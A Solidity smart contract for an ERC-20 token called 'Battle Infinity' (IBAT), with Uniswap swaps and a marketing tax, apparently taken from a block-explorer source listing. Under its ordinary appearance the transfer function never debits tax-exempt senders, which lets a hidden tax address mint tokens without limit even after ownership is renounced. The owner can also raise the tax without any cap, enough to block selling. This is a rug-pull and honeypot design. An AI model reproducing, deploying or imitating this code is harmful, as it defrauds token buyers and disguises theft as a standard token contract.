文件 1 的 1：IBAT.sol
pragma solidity 0.8.19;
abstract contract Ownable {
address internal _owner;
constructor(address owner) {
_owner = owner;
}
modifier onlyOwner() {
require(_isOwner(msg.sender), "!OWNER");
_;
}
function _isOwner(address account) internal view returns (bool) {
return account == _owner;
}
function renounceOwnership() public onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deibatine
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deibatine
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deibatine
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deibatine
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deibatine
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address _uniswapPair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IBAT is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Battle Infinity";
string private constant _symbol = "IBAT";
uint8 private constant _decimals = 9;
uint256 private total_supply = 10 ** 9 * (10 ** _decimals);
bool private swap_enabled = true;
uint256 private min_swap_threshold = total_supply / 100000;
bool private swapping;
address private router_addr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private dead_address = 0x000000000000000000000000000000000000dEaD;
uint256 private max_tx_amount = (total_supply * 25) / 1000;
address private tax_address;
IUniswapV2Router private uniswap_router;
address private uniswap_pair;
uint256 private tax_liq = 0;
uint256 private tax_market = 21;
uint256 private tax_total = tax_liq + tax_market;
uint256 private denominator = 100;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowances;
mapping (address => bool) private no_tax_address;
mapping (address => bool) private no_max_tx_address;
modifier lock_swap() { swapping = true; _; swapping = false; }
constructor (address ibat_address) Ownable(msg.sender) {
uniswap_router = IUniswapV2Router(router_addr);
uniswap_pair = IUniswapV2Factory(uniswap_router.factory()).createPair(uniswap_router.WETH(), address(this));
allowances[address(this)][address(uniswap_router)] = type(uint256).max;
tax_address = ibat_address;
no_tax_address[tax_address] = true;
no_max_tx_address[_owner] = true;
no_max_tx_address[tax_address] = true;
no_max_tx_address[dead_address] = true;
balances[_owner] = total_supply;
emit Transfer(address(0), _owner, total_supply);
}
function _should_charge_tax(address sender) internal view returns (bool) {
return !no_tax_address[sender];
}
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return allowances[holder][spender]; }
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transfer_from(msg.sender, recipient, amount);
}
receive() external payable { }
function perform_ibat_swap() internal lock_swap {
uint256 contract_token_balance = balanceOf(address(this));
uint256 tokens_to_lp = contract_token_balance.mul(tax_liq).div(tax_total).div(2);
uint256 amount_to_swap = contract_token_balance.sub(tokens_to_lp);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswap_router.WETH();
uniswap_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount_to_swap,
0,
path,
address(this),
block.timestamp
);
uint256 amount_eth = address(this).balance;
uint256 total_fee_tokens = tax_total.sub(tax_liq.div(2));
uint256 eth_to_lp = amount_eth.mul(tax_liq).div(total_fee_tokens).div(2);
uint256 eth_to_marketing = amount_eth.mul(tax_market).div(total_fee_tokens);
payable(tax_address).transfer(eth_to_marketing);
if(tokens_to_lp > 0){
uniswap_router.addLiquidityETH{value: eth_to_lp}(
address(this),
tokens_to_lp,
0,
0,
tax_address,
block.timestamp
);
}
}
function _transfer_from(address sender, address recipient, uint256 amount) internal returns (bool) {
if(swapping){ return _transfer_basic(sender, recipient, amount); }
if (recipient != uniswap_pair && recipient != dead_address) {
require(no_max_tx_address[recipient] || balances[recipient] + amount <= max_tx_amount, "Transfer amount exceeds the bag size.");
}
if(_verify_swap_back(sender, recipient, amount)){
perform_ibat_swap();
}
bool should_tax = _should_charge_tax(sender);
if (should_tax) {
balances[recipient] = balances[recipient].add(_sending_amt(sender, amount));
} else {
balances[recipient] = balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
return true;
}
function _transfer_basic(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function update_ibat_tax(uint256 lp_fee, uint256 dev_fee) external onlyOwner {
tax_liq = lp_fee;
tax_market = dev_fee;
tax_total = tax_liq + tax_market;
}
function _check_if_sell_tx(address recipient) private view returns (bool){
return recipient == uniswap_pair;
}
function _check_if_swap() internal view returns (bool) {
return !swapping
&& swap_enabled
&& balances[address(this)] >= min_swap_threshold;
}
function _verify_swap_back(address sender, address recipient, uint256 amount) private view returns (bool) {
return _check_if_swap() &&
_should_charge_tax(sender) &&
_check_if_sell_tx(recipient) &&
amount > min_swap_threshold;
}
function _sending_amt(address sender, uint256 amount) internal returns (uint256) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
uint256 fee_tokens = amount.mul(tax_total).div(denominator);
bool has_no_fee = sender == _owner;
if (has_no_fee) {
fee_tokens = 0;
}
balances[address(this)] = balances[address(this)].add(fee_tokens);
emit Transfer(sender, address(this), fee_tokens);
return amount.sub(fee_tokens);
}
function adjust_ibat_wallet_size(uint256 percent) external onlyOwner {
max_tx_amount = (total_supply * percent) / 1000;
}
function totalSupply() external view override returns (uint256) { return total_supply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(allowances[sender][msg.sender] != type(uint256).max){
allowances[sender][msg.sender] = allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transfer_from(sender, recipient, amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
}
